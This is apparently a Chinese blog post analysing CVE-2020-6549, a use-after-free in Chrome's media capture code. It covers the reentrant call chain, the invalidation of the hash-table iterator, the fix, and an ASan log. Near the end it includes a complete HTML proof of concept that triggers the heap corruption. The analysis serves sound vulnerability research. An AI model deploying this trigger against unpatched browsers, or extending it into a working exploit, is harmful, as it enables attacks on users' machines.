CVE-2020-6549分析

一、简介

  • CVE-2020-6549是Google Chrome里media中的Use-after-free漏洞,在版本84.0.4147.125之前该漏洞允许攻击者通过精心构造的html代码来造成堆破坏。

二、漏洞相关

a. 漏洞概述

漏洞函数 - vuln src

1
2
3
4
5
6
7
8
9
10
void MediaElementEventListener::UpdateSources(ExecutionContext* context) {
for (auto track : media_stream_->getTracks())
sources_.insert(track->Component()->Source());

if (!media_element_->currentSrc().IsEmpty() &&
!media_element_->IsMediaDataCorsSameOrigin()) {
for (auto source : sources_)
DidStopMediaStreamSource(source.Get());
}
}

当media元素加载跨域URL时,函数UpdateSources将会通知相关的MediaStreamSource对象。而在遍历sources_集时,它可能会通过以下调用路径来调度JS事件。

1
2
3
4
5
6
7
8
9
10
11
12
13
MediaElementEventListener::UpdateSources
DidStopMediaStreamSource
// Stops the source (by calling DoStopSource()) and runs FinalizeStopSource().
WebPlatformMediaStreamSource::StopSource
// Runs the stop callback (if set) and sets the
// WebMediaStreamSource::readyState to ended. This can be used by
// implementations to implement custom stop methods.
WebPlatformMediaStreamSource::FinalizeStopSource
WebMediaStreamSource::SetReadyState
MediaStreamSource::SetReadyState
// MediaStreamSourceObserver
MediaStreamTrack::SourceChangedState
EventTarget::DispatchEvent

而攻击者可以为相应的MediaStreamTrack对象注册一个事件处理程序,该事件处理程序将在media元素上调用一个虚假的loadedmetadata事件,以重新调用UpdateSources函数,并调整其sources_集合的大小。而这将使得外层的UpdateSources调用中基于范围的for循环语句所使用的迭代器无效。 当执行返回到外部调用时,该函数尝试从迭代器中获取下一个元素,此时所使用无效的迭代器将导致UAF。

b. 漏洞细节

1. 加载跨域URL

漏洞函数MediaElementEventListenerL::UpdateSources在内部会执行DidStopMediaStreamSource函数来处理所有的MediaStreamSource对象。而处理sources_前首先要满足的条件是跨域

1
2
3
4
5
6
7
8
9
10
11
12
void MediaElementEventListener::UpdateSources(ExecutionContext* context) {
for (auto track : media_stream_->getTracks())
sources_.insert(track->Component()->Source());

// 如果当前的src(即URL)非空,并且是跨域的,则遍历处理sources
if (!media_element_->currentSrc().IsEmpty() &&
!media_element_->IsMediaDataCorsSameOrigin())
// 遍历处理sources
for (auto source : sources_)
DidStopMediaStreamSource(source.Get());
}
}

2. 设置对应的事件处理函数

  • 对于每个sources,函数DidStopMediaStreamSource()将会获取其对应的WebPlatformMediaStreamSource并执行StopSouces()函数。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    void DidStopMediaStreamSource(MediaStreamSource* source) {
    if (!source)
    return;
    // 获取WebPlatformMediaStreamSource
    WebPlatformMediaStreamSource* const platform_source =
    source->GetPlatformSource();
    DCHECK(platform_source);
    // 对WebPlatformMediaStreamSource执行StopSource函数
    platform_source->StopSource();
    }
  • StopSources函数中,我们主要关注函数FinalizeStopSource()

    1
    2
    3
    4
    5
    void WebPlatformMediaStreamSource::StopSource() {
    DoStopSource();
    // 主要关注
    FinalizeStopSource();
    }

    FinalizeStopSource()中,函数会对当前的WebPlatformMediaStreamSource类实例的Owner(即一个WebMediaStreamSource类实例)执行SetReadyState()函数,以设置其状态

    1
    2
    3
    4
    5
    6
    void WebPlatformMediaStreamSource::FinalizeStopSource() {
    if (!stop_callback_.is_null())
    std::move(stop_callback_).Run(Owner());
    if (Owner())
    Owner().SetReadyState(WebMediaStreamSource::kReadyStateEnded);
    }
  • 而这里所执行的SetReadyState()实际上只是一个Wrapper,它的内部会继续调用MediaStreamSource::SetReadyState()函数。

    这里的private_指针是MediaStreamSource类型的。WebMediaStreamSource内部拥有一个指向MediaStreamSource类的指针。

    此时这里出现了WebPlatformMediaStreamSourceMediaStreamSource以及WebMediaStreamSource这三种MediaStreamSource,他们之间的关系不需要细究,这里只需了解其中的函数调用链即可。

    1
    2
    3
    4
    void WebMediaStreamSource::SetReadyState(ReadyState state) {
    DCHECK(!private_.IsNull());
    private_->SetReadyState(static_cast<MediaStreamSource::ReadyState>(state));
    }
  • MediaStreamSource::SetReadyState函数中,函数内部会继续调用observer->SourceChangedState()Observer类是一个虚基类,不过我们可以通过交叉引用,来确认在该函数中,Observer是一个MediaStreamTrack类型。即该函数最终调用的是MediaStreamTrack::SourceChangedState()

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    void MediaStreamSource::SetReadyState(ReadyState ready_state) {
    SendLogMessage(String::Format("SetReadyState({id=%s}, {ready_state=%s})",
    Id().Utf8().c_str(),
    ReadyStateToString(ready_state))
    .Utf8());
    // ....

    // Observers may dispatch events which create and add new Observers;
    // take a snapshot so as to safely iterate.
    HeapVector<Member<Observer>> observers;
    CopyToVector(observers_, observers);
    // 在此处调用了
    for (auto observer : observers)
    observer->SourceChangedState();
    // ....
    }
    }
  • MediaStreamTrack::SourceChangedState()函数是一个重头戏。这里笔者先贴出该函数的源码,然后再继续说明。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    void MediaStreamTrack::SourceChangedState() {
    if (Ended())
    return;

    // Note that both 'live' and 'muted' correspond to a 'live' ready state in the
    // web API, hence the following logic around |feature_handle_for_scheduler_|.

    ready_state_ = component_->Source()->GetReadyState();
    switch (ready_state_) {
    case MediaStreamSource::kReadyStateLive:
    component_->SetMuted(false);
    //发送unmute事件
    DispatchEvent(*Event::Create(event_type_names::kUnmute));
    EnsureFeatureHandleForScheduler();
    break;
    case MediaStreamSource::kReadyStateMuted:
    component_->SetMuted(true);
    //发送mute事件
    DispatchEvent(*Event::Create(event_type_names::kMute));
    EnsureFeatureHandleForScheduler();
    break;
    // 这里我们关注这个事件
    case MediaStreamSource::kReadyStateEnded:
    //发送ended事件
    DispatchEvent(*Event::Create(event_type_names::kEnded));
    PropagateTrackEnded();
    feature_handle_for_scheduler_.reset();
    break;
    }
    SendLogMessage(
    base::StringPrintf("SourceChangedState([id=%s] {readyState=%s})",
    id().Utf8().c_str(), readyState().Utf8().c_str()));
    }

    在该函数内部将会执行DispatchEvent函数,不同的switch分支将会dispatch不同的事件,分别是muteunmute以及ended事件。与之相对的,在JS中有对应这三个事件的事件处理程序:

    以下JS资料节选自MediaStreamTrack - MDN

    事件处理

    • MediaStreamTrack.onmute

      这是mute事件在这个对象被触发时调用的事件处理器EventHandler,这时这个流被中断。

    • MediaStreamTrack.onunmute

      这是unmute事件在这个对象上被触发时调用的事件处理器EventHandler,未实现。

    • MediaStreamTrack.onended

      这是ended事件在这个对象被触发时调用的事件处理器EventHandler,未实现。

    也就是说,如果我们在JS接口处实现了一个这样的事件处理函数,那么在dispatch事件时,将会执行JS中对应的事件处理函数。

    需要注意的是,在MediaStreamTrack::SourceChangedState()中一旦执行DispatchEvent函数,那么在执行对应事件处理函数中的JS代码时,render进程的控制流将始终位于所执行的DispatchEvent函数内部。换句话说,只有当JS中的事件处理函数执行结束后,render才会从刚刚所执行的DispatchEvent函数中返回,并一步一步向上返回。

    而这也是漏洞的关键。我们如果构造一个特殊的事件处理函数,那么就可以试着二次调用UpdateSources函数。即函数调用链可以是这样的:

    1
    2
    3
    4
    5
    6
    7
    8
    ...
    UpdateSources
    ...
    DispatchEvent
    ...
    V8
    ...
    UpdateSources

    上面中乱入的V8即解释JS代码的引擎。render将在进入DispatchEvent函数的基础上,在内部使用V8引擎来解释事件处理函数中的JS代码,并进一步调用该JS代码所对应的render内部函数UpdateSources

  • 基本的调用思路有了,现在的一个问题是,我们该构造哪个事件的事件处理函数呢?这里推荐ended事件,因为这个事件最容易触发,例如跨域操作就会触发该ended事件

3. 调用UpdateSources函数

  • 在讲解这部分前,先再次阅读漏洞触发的函数调用

    阅读时注意每个函数所属的类名称

    1
    2
    3
    4
    5
    6
    7
    8
    MediaElementEventListener::UpdateSources
    DidStopMediaStreamSource
    WebPlatformMediaStreamSource::StopSource
    WebPlatformMediaStreamSource::FinalizeStopSource
    WebMediaStreamSource::SetReadyState
    MediaStreamSource::SetReadyState
    MediaStreamTrack::SourceChangedState
    EventTarget::DispatchEvent
  • 现在我们已经可以尝试通过MediaStreamTrack对象来执行DispatchEvent事件,但问题是,如何调用最顶层的UpdateSources

  • 注意到UpdateSources函数所在的类为MediaElementEventListener,我们试着在API - MDN中搜索MediaElement,果然在JS API中找到了HTMLMediaElement对象 - HTMLMediaElement - MDN

  • 顺着函数调用链,发现由于UpdateSources函数深层调用中会调用WebPlatformMediaStreamSource::StopSource,因此我们试着在HTMLMediaElement的API说明中搜索WebPlatformMediaStreamSource相关的字符串。并最终找到了JS对象MediaStream

    在查阅HTMLMediaElement的API时,发现了一个函数HTMLMediaElement.crossOrigin。这个函数的发现可以间接佐证修改HTMLMediaElementsrc成员属性可以触发跨域事件

  • HTMLMediaElementJS API中我们找到了这个对象相关的几个API,不过这里我们只关注HTMLMediaElement.captureStream()该函数会获取当前HTMLMediaElement中的MediaStream。这样,我们就可以将HTMLMediaElement对象与MediaStream对象联系起来。

  • MediaStream 接口是一个媒体内容的流.。一个流包含几个轨道(track),比如视频和音频轨道。MediaStream - MDNMediaStream接口中存在几个事件处理函数与方法。这里我们只介绍两种:

    • 一个是MediaStream.onaddtrack事件处理器。当一个MediaStreamTrack被添加到流后会触发该事件处理器。我们可以利用这个事件来确保在MediaStreamTrack加载后再来执行跨域操作,避免出现一些意外的问题。
    • 再一个就是MediaStream.getTracks函数。通过该函数我们可以获取MediaStream对象内部的MediaStreamTrack对象。

    这样,我们便串起了HTMLMediaElement - MediaStream - MediaStreamTrack

  • 最后一个问题,我们是通过HTMLMediaElementJS对象来一步一步的触发UAF,但我们在具体实现POC时,无法直接用JS构造HTMLMediaElement对象。通过查阅MDN中相关信息,我们可以试着构造一下HTMLAudioElement对象。这个对象是由HTMLMediaElement派生出来的JS对象,而该对象的constructor是Audio()

  • 所以最后我们构建出的基本测试代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    <script>
    AUDIO_URL = 'http://localhost:8000/audio.mp3';

    audio = new Audio(AUDIO_URL);
    stream = audio.captureStream();
    stream.onaddtrack = () => {
    track = stream.getAudioTracks()[0];
    // 设置MediaStreamTrack的onended事件处理函数
    track.onended = function() {
    // 在这里应该试着在render中再次调用UpdateSources函数
    }
    // 修改audio的src,将URL替换为跨域的URL,以便于在render中执行UpdateSources函数
    audio.src = AUDIO_URL.replace('localhost', '127.0.0.1');
    }
    </script>

4. 再次调用UpdateSources

通过以上的分析,我们可以尝试在UpdateSources函数内部,再次调用JS代码(指JS事件处理函数中的代码)。那么我们该如何通过JS代码再次调用UpdateSources函数呢?

在执行跨域操作时断下并打印stackframe,我们可以发现一个特殊函数:MediaElementEventListener::Invoke

img

这里我们找出其源代码,将无关代码精简后如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void MediaElementEventListener::Invoke(ExecutionContext* context,
Event* event) {
// ...

if (event->type() == event_type_names::kEnded) {
// ...
return;
}
if (event->type() != event_type_names::kLoadedmetadata)
return;

// If |media_element_| is a MediaStream, clone the new tracks.
if (media_element_->GetLoadType() == WebMediaPlayer::kLoadTypeMediaStream) {
// ...
UpdateSources(context);
return;
}

// ....
UpdateSources(context);
}

我们可以很容易的理解,Invoke函数负责事件的分发操作。当我们用JS来对某个对象执行dispatchEvent函数来分发事件时,最终render会执行到该函数中。

在这里我们只需绕过两个判断条件即可执行到UpdateSources函数,即传入的event->type()必须为event_type_names::kLoadedmetadata。通过交叉引用查询可知,该类型所对应的字符串为loadedmetadata

因此,我们可以编写如下语句来调用UpdateSources函数。

1
audio.dispatchEvent(new Event('loadedmetadata'));

5. 迭代器失效

  • 现在,我们已经可以通过内层UpdateSources函数向sources_集合中插入元素

    但我们如何使最外层的UpdateSources函数所使用的下一个迭代器失效呢?这里就涉及到sources_集合的结构。

    但由于Chrome中的数据结构通常是一个个基本结构所派生出来的,所以我们可以直接查看souces_.insert函数中的交叉引用,来找到sources_实际使用的插入函数是哪一个数据结构的基本操作。

    最后我们可以找到实际调用的insert函数是HashTable的。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    void MediaElementEventListener::UpdateSources(ExecutionContext* context) {
    for (auto track : media_stream_->getTracks())
    // 点击当前insert
    sources_.insert(track->Component()->Source());
    // ...
    }

    template <typename T, typename U, typename V, typename W>
    template <typename IncomingValueType>
    inline typename HashSet<T, U, V, W>::AddResult HashSet<T, U, V, W>::insert(
    IncomingValueType&& value) {
    // 点击当前insert
    return impl_.insert(std::forward<IncomingValueType>(value));
    }

    template <typename IncomingValueType>
    AddResult insert(IncomingValueType&& value) {
    // 点击当前insert
    return insert<IdentityTranslatorType>(
    Extractor::Extract(value), std::forward<IncomingValueType>(value));
    }
    // 最终找到,所用的insert函数为HashTable
    HashTable<Key, Value, Extractor, HashFunctions, Traits, KeyTraits, Allocator>::
    insert(T&& key, Extra&& extra) { /* ... */ }
  • 这里给出HashTable::insert的部分源码,不过我们只关注其中的部分内容

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    /* ... */
    typename HashTable< /* ... */ >::AddResult
    HashTable<Key, Value, Extractor, HashFunctions, Traits, KeyTraits, Allocator>::
    insert(T&& key, Extra&& extra) {
    // ....

    ++key_count_;

    if (ShouldExpand()) {
    entry = Expand(entry);
    } else if (WTF::IsWeak<ValueType>::value && ShouldShrink()) {
    // ...
    }
    // ...
    }

    在插入元素的过程中,当哈希表的空间大小不足,需要扩张哈希表空间时,程序将会开辟一块新的内存空间,但原来的空间将会被删除。一旦原先空间被删除,那么就会使得基于指针的旧哈希表迭代器失效!

    这样,我们就可以使外层UpdateSources所使用的哈希表迭代器失效,进而触发UAF。

    这里需要提一下Chrome中的HashTable结构。与SGI STL中的哈希表有点不同,该结构似乎没有使用桶(Bucket),而是简单的一个一维数组,使用哈希值进行索引。

    因此其迭代器的递增操作也只是简单的一个指针移动操作。

    所以在JS事件处理函数onended中,我们需要执行以下JS代码

    1
    2
    3
    // 通过重复调用UpdateSources函数以达到大量插入元素,最终扩展内存空间,使得原迭代器无效的目的
    for (let i = 0; i < 1000; ++i)
    audio.dispatchEvent(new Event('loadedmetadata'));

6、POC

将上面的JS代码组合一下就是下面的POC。

注:调试POC时必须在本地打开一个WebServer,而不是直接用File协议加载html代码。

  • audio.mp3

    这里的音乐文件一定是要可以正常播放的文件,而不是随便某个文件改名为audio.mp3。这样JS代码中stream.getAudioTracks()返回的才不会是空的列表。

  • poc.html

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    <html>
    <script>
    // 执行流程 poc() -> stream.onaddtrack() -> track.onended()
    function poc() {
    AUDIO_URL = 'http://localhost:8000/audio.mp3';
    audio = new Audio(AUDIO_URL);
    stream = audio.captureStream();
    stream.onaddtrack = () => {
    console.log("[+] execute stream.onaddtrack");
    track = stream.getAudioTracks()[0];
    track.onended = function () {
    for (let i = 0; i < 1000; ++i){
    console.log("[+] try dispatchEvent");
    audio.dispatchEvent(new Event('loadedmetadata'));
    }
    }
    console.log("[+] try load different URL");
    audio.src = AUDIO_URL.replace('localhost', '127.0.0.1');
    // 先执行完当前的js代码,再执行track.onended
    }
    // 先执行完当前的js代码,再执行stream.onaddtrack
    console.log("[+] try to enter stream.onaddtrack");
    }
    poc();
    </script>

    <body></body>

    </html>
  • 这是漏洞提交者打印出的Asan log

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    ==1==ERROR: AddressSanitizer: use-after-poison on address 0x7ef4388d0ab8 at pc 0x7f87439d82fd bp 0x7ffdcd9cd990 sp 0x7ffdcd9cd988
    READ of size 8 at 0x7ef4388d0ab8 thread T0 (chrome)
    #0 0x7f87439d82fc in blink::MemberBase<blink::MediaStreamSource, (blink::TracenessMemberConfiguration)0>::GetRaw() const ./../../third_party/blink/renderer/platform/heap/member.h:250:44
    #1 0x7f87439d82fc in blink::MemberBase<blink::MediaStreamSource, (blink::TracenessMemberConfiguration)0>::operator blink::MediaStreamSource*() const ./../../third_party/blink/renderer/platform/heap/member.h:184:32
    #2 0x7f87439d82fc in bool WTF::HashTraitsEmptyValueChecker<WTF::HashTraits<blink::WeakMember<blink::MediaStreamSource> >, false>::IsEmptyValue<blink::WeakMember<blink::MediaStreamSource> >(blink::WeakMember<blink::MediaStreamSource> const&) ./../../third_party/blink/renderer/platform/wtf/hash_traits.h:350:12
    #3 0x7f87439d82fc in bool WTF::IsHashTraitsEmptyValue<WTF::HashTraits<blink::WeakMember<blink::MediaStreamSource> >, blink::WeakMember<blink::MediaStreamSource> >(blink::WeakMember<blink::MediaStreamSource> const&) ./../../third_party/blink/renderer/platform/wtf/hash_traits.h:355:10
    #4 0x7f87439d82fc in WTF::HashTableHelper<blink::WeakMember<blink::MediaStreamSource>, WTF::IdentityExtractor, WTF::HashTraits<blink::WeakMember<blink::MediaStreamSource> > >::IsEmptyBucket(blink::WeakMember<blink::MediaStreamSource> const&) ./../../third_party/blink/renderer/platform/wtf/hash_table.h:666:12
    #5 0x7f87439d82fc in WTF::HashTableHelper<blink::WeakMember<blink::MediaStreamSource>, WTF::IdentityExtractor, WTF::HashTraits<blink::WeakMember<blink::MediaStreamSource> > >::IsEmptyOrDeletedBucket(blink::WeakMember<blink::MediaStreamSource> const&) ./../../third_party/blink/renderer/platform/wtf/hash_table.h:673:12
    #6 0x7f87439d82fc in WTF::HashTable<blink::WeakMember<blink::MediaStreamSource>, blink::WeakMember<blink::MediaStreamSource>, WTF::IdentityExtractor, WTF::MemberHash<blink::MediaStreamSource>, WTF::HashTraits<blink::WeakMember<blink::MediaStreamSource> >, WTF::HashTraits<blink::WeakMember<blink::MediaStreamSource> >, blink::HeapAllocator>::IsEmptyOrDeletedBucket(blink::WeakMember<blink::MediaStreamSource> const&) ./../../third_party/blink/renderer/platform/wtf/hash_table.h:841:12
    #7 0x7f87439d82fc in WTF::HashTableConstIterator<blink::WeakMember<blink::MediaStreamSource>, blink::WeakMember<blink::MediaStreamSource>, WTF::IdentityExtractor, WTF::MemberHash<blink::MediaStreamSource>, WTF::HashTraits<blink::WeakMember<blink::MediaStreamSource> >, WTF::HashTraits<blink::WeakMember<blink::MediaStreamSource> >, blink::HeapAllocator>::SkipEmptyBuckets() ./../../third_party/blink/renderer/platform/wtf/hash_table.h:296:12
    #8 0x7f87439d82fc in WTF::HashTableConstIterator<blink::WeakMember<blink::MediaStreamSource>, blink::WeakMember<blink::MediaStreamSource>, WTF::IdentityExtractor, WTF::MemberHash<blink::MediaStreamSource>, WTF::HashTraits<blink::WeakMember<blink::MediaStreamSource> >, WTF::HashTraits<blink::WeakMember<blink::MediaStreamSource> >, blink::HeapAllocator>::operator++() ./../../third_party/blink/renderer/platform/wtf/hash_table.h:373:5
    #9 0x7f87439d82fc in WTF::HashTableConstIteratorAdapter<WTF::HashTable<blink::WeakMember<blink::MediaStreamSource>, blink::WeakMember<blink::MediaStreamSource>, WTF::IdentityExtractor, WTF::MemberHash<blink::MediaStreamSource>, WTF::HashTraits<blink::WeakMember<blink::MediaStreamSource> >, WTF::HashTraits<blink::WeakMember<blink::MediaStreamSource> >, blink::HeapAllocator>, WTF::HashTraits<blink::WeakMember<blink::MediaStreamSource> > >::operator++() ./../../third_party/blink/renderer/platform/wtf/hash_table.h:2219:5
    #10 0x7f87439d82fc in blink::(anonymous namespace)::MediaElementEventListener::UpdateSources(blink::ExecutionContext*) ./../../third_party/blink/renderer/modules/mediacapturefromelement/html_media_element_capture.cc:249:22
    #11 0x7f87439e1d8f in blink::(anonymous namespace)::MediaElementEventListener::Invoke(blink::ExecutionContext*, blink::Event*) ./../../third_party/blink/renderer/modules/mediacapturefromelement/html_media_element_capture.cc:231:3
    #12 0x7f874f33e534 in blink::EventTarget::FireEventListeners(blink::Event&, blink::EventTargetData*, blink::HeapVector<blink::RegisteredEventListener, 1u>&) ./../../third_party/blink/renderer/core/dom/events/event_target.cc:909:15
    #13 0x7f874f33c411 in blink::EventTarget::FireEventListeners(blink::Event&) ./../../third_party/blink/renderer/core/dom/events/event_target.cc:823:29
    #14 0x7f874f3b13fa in blink::Node::HandleLocalEvents(blink::Event&) ./../../third_party/blink/renderer/core/dom/node.cc:2896:3
    #15 0x7f874f312ae3 in blink::EventDispatcher::DispatchEventAtTarget() ./../../third_party/blink/renderer/core/dom/events/event_dispatcher.cc:264:29
    #16 0x7f874f312ae3 in blink::EventDispatcher::Dispatch() ./../../third_party/blink/renderer/core/dom/events/event_dispatcher.cc:206:11
    #17 0x7f874f311022 in blink::EventDispatcher::DispatchEvent(blink::Node&, blink::Event&) ./../../third_party/blink/renderer/core/dom/events/event_dispatcher.cc:63:16
    #18 0x7f874f33261d in blink::EventQueue::DispatchEvent(blink::Event*) ./../../third_party/blink/renderer/core/dom/events/event_queue.cc:105:13
    #19 0x7f8775685257 in base::OnceCallback<void ()>::Run() && ./../../base/callback.h:99:12
    #20 0x7f8775685257 in base::TaskAnnotator::RunTask(char const*, base::PendingTask*) ./../../base/task/common/task_annotator.cc:142:33
    #21 0x7f87756c413a in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::sequence_manager::LazyNow*) ./../../base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:332:23
    #22 0x7f87756c3a5c in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() ./../../base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:252:36
    #23 0x7f877558447d in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) ./../../base/message_loop/message_pump_default.cc:39:55
    #24 0x7f87756c53a2 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) ./../../base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:451:12
    #25 0x7f87756209fa in base::RunLoop::Run() ./../../base/run_loop.cc:124:14
    #26 0x7f876bb0b546 in content::RendererMain(content::MainFunctionParams const&) ./../../content/renderer/renderer_main.cc:230:16
    #27 0x7f876bec022e in content::RunZygote(content::ContentMainDelegate*) ./../../content/app/content_main_runner_impl.cc:496:14
    #28 0x7f876bec3615 in content::ContentMainRunnerImpl::Run(bool) ./../../content/app/content_main_runner_impl.cc:863:10
    #29 0x7f877592a987 in service_manager::Main(service_manager::MainParams const&) ./../../services/service_manager/embedder/main.cc:454:29
    #30 0x7f876bebe69f in content::ContentMain(content::ContentMainParams const&) ./../../content/app/content_main.cc:19:10
    #31 0x55f64fe33063 in ChromeMain ./../../chrome/app/chrome_main.cc:118:12
    #32 0x7f873e9a9e0a in __libc_start_main /build/glibc-M65Gwz/glibc-2.30/csu/../csu/libc-start.c:308:16

    Address 0x7ef4388d0ab8 is a wild pointer.
    SUMMARY: AddressSanitizer: use-after-poison (/chromium/src/out/release_asan/libblink_modules.so+0x1b082fc)
    Shadow bytes around the buggy address:
    0x0fdf07112100: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
    0x0fdf07112110: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
    0x0fdf07112120: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
    0x0fdf07112130: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
    0x0fdf07112140: f7 f7 f7 f7 f7 f7 f7 f7 f7 00 00 00 00 00 00 f7
    =>0x0fdf07112150: 00 00 f7 00 00 f7 f7[f7]f7 f7 f7 00 00 f7 00 00
    0x0fdf07112160: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 00 00 f7 00 00 f7
    0x0fdf07112170: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
    0x0fdf07112180: f7 00 00 f7 00 00 f7 00 00 f7 00 00 f7 00 00 f7
    0x0fdf07112190: 00 00 f7 00 00 f7 00 00 f7 f7 f7 f7 f7 f7 f7 f7
    0x0fdf071121a0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
    Shadow byte legend (one shadow byte represents 8 application bytes):
    Addressable: 00
    Partially addressable: 01 02 03 04 05 06 07
    Heap left redzone: fa
    Freed heap region: fd
    Stack left redzone: f1
    Stack mid redzone: f2
    Stack right redzone: f3
    Stack after return: f5
    Stack use after scope: f8
    Global redzone: f9
    Global init order: f6
    Poisoned by user: f7
    Container overflow: fc
    Array cookie: ac
    Intra object redzone: bb
    ASan internal: fe
    Left alloca redzone: ca
    Right alloca redzone: cb
    Shadow gap: cc
    ==1==ABORTING

c. 修复后的代码

修复后的函数如下 - fixed src

与原先的代码相比,修复后的函数在调用updateSources时,多了一个复制集合操作,不再直接遍历sources_集。这样即便内层UpdateSources修改了sources_集,也不会影响到外层UpdateSources函数所使用的迭代器了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void MediaElementEventListener::UpdateSources(ExecutionContext* context) {
for (auto track : media_stream_->getTracks())
sources_.insert(track->Component()->Source());

// Handling of the ended event in JS triggered by DidStopMediaStreamSource()
// may cause a reentrant call to this function, which can modify |sources_|.
// Iterate over a copy of |sources_| to avoid invalidation of the iterator
// when a reentrant call occurs.
/*
注意这里,下面的循环处理的是sources_的拷贝sources_copy,而不再直接处理sources_
这样,即便UpdateSources函数被再次调用,也不会影响上一层UpdateSources中所遍历的sources_copy集合了。
*/
auto sources_copy = sources_;
if (!media_element_->currentSrc().IsEmpty() &&
!media_element_->IsMediaDataCorsSameOrigin()) {
for (auto source : sources_copy)
DidStopMediaStreamSource(source.Get());
}
}

三、参考

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2020-2024 Kiprey
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~